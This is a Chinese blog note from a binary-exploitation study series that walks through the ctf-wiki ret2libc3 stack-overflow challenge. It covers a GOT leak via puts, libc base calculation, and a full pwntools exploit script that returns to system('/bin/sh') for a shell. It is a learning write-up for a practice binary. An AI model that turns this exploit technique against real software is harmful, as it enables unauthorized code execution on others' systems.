二进制学习系列-栈溢出之libc利用
- 2019 年 10 月 8 日
- 筆記
经典文章：https://segmentfault.com/a/1190000005888964#articleHeader3
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2libc/ret2libc3
首先查看安全保护
可以看见主程序没有开启ASLR
但是libc文件开启了ASLR，扔进IDA中查看伪代码
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No surprise anymore, system disappeard QQ."); printf("Can you find it !?"); gets(&s); return 0; }
明显看出是一个栈溢出，在查看汇编代码
可以看到字符串s是相对于esp的偏移，所以我们还需要自己去测出s距离溢出点的位移，整个反汇编中没有找到system系统函数，也没有发现‘/bin/sh'的字符串，所以应该都在libc.so文件之中，但是libc开启了ASLR保护，所以我们所看见的都是相对于基址的偏移量，我们需要通过泄漏libc文件中的函数来确定system函数以及bin字符串的地址。
即使程序开启了ASLR，最低的12位并不会发生改变，所以我们只要知道了libc中某一个函数的地址，我们就能知道该程序所利用的libc版本，进而我们就知道了该libc中system函数的地址。
那么问题是我们怎样才能知道libc中函数的地址：
我们可以通过got表泄漏，就是输出某个函数对应got表項的内容。因为libc具有延时机制的绑定，所以我们需要选择已经执行过了的函数来进行泄漏。
我们一般泄漏__libc_start_main的地址，这个地址就是libc文件的基址
所以大致的步骤就是：
1.泄漏__libc_start_main的地址
2.获取libc版本
3.再次执行main函数
4.获取system以及bin的地址
5.栈溢出获取shell
1.泄漏__libc_start_main的地址
输入地址
返回值地址，所以可得偏移量为0x70。
所以我们可以利用puts函数来打印出libc_start的地址，在去寻找相对应的libc，从而getshell。首先查看一下puts函数的地址：
所以这样写playload:
playload = 'A'*112 + p32(put_plt) + p32(main_addr) + p32(libc_addr)
由于我们调用put函数的时候需要一个返回地址，所以我们这里返回main函数的地址，可以打印出libc函数地址之后再次重新执行main函数。
2.获取libc版本
这里我们有两种方法来获取libc版本：
- 利用别人所写的libc_seacher脚本，具体 https://github.com/lieanu/LibcSearcher
- 利用别人所收集的libc，具体看 https://github.com/niklasb/libc-database
3.获取system函数以及/bin/sh地址：
用所计算得到的libc基地址：
__libc_start_main - libc.symbols['__libc_start_main']
加上所获取到的system地址：
libc_database + libc.symbols['system']
/bin/sh地址也一样:
libc_database + next(libc.search('/bin/sh'))
4.重新执行main调用system函数
playload2 = 'A'*104 + p32(sys_addr) + 'BBBB' + p32(bin_addr)
5.EXP：
from pwn import * libc = ELF('libc.so.sys') ret = ELF('ret2libc3') p = process('./ret2libc3') gdb.attach(p) put_plt = ret.symbols['puts'] main_addr = ret.symbols['main'] libc_addr = ret.got['__libc_start_main'] playload = 'A'*112 + p32(put_plt) + p32(main_addr) + p32(libc_addr) p.sendlineafter('Can you find it !?',playload) libc_real = u32(p.recv(4)) print hex(libc_real) sys_addr = libc_real - (libc.symbols['__libc_start_main'] - libc.symbols['system'] ) bin_addr = libc_real - (libc.symbols['__libc_start_main'] - next(libc.search('/bin/sh') ) ) print hex(sys_addr) + 'n' + hex(bin_addr) playload2 = 'A'*104 + p32(sys_addr) + 'BBBB' + p32(bin_addr) p.sendline(playload2) p.interactive()
